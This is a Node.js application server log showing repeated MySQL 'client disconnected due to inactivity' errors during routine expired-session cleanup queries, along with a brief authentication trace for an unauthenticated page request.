    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 14:23:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 15:04:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 15:04:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 15:05:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 15:05:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 17:00:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 17:00:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 18:44:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 18:44:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 18:57:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 18:57:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 19:14:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 19:14:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 20:10:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 20:10:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 20:28:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 20:28:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 21:36:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 21:36:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 21:41:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 21:41:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 22:41:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 22:41:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 23:54:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 23:54:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 00:39:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 00:39:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 00:53:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 00:53:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 01:04:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 01:04:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 01:08:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 01:08:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 01:09:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 01:09:40' as DATETIME)"
}
2026-01-02T01:48:51.581Z server-connect:router Serving templateView /
2026-01-02T01:48:51.582Z server-connect:app Executing action step identify
2026-01-02T01:48:51.582Z server-connect:app options: { provider: 'security' }
2026-01-02T01:48:51.582Z server-connect:auth No login cookie found
2026-01-02T01:48:51.582Z server-connect:output identity: false
2026-01-02T01:48:51.583Z server-connect:app Executing action step restrict
2026-01-02T01:48:51.583Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-02T01:48:51.583Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 02:40:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 02:40:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 02:51:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 02:51:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 04:29:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
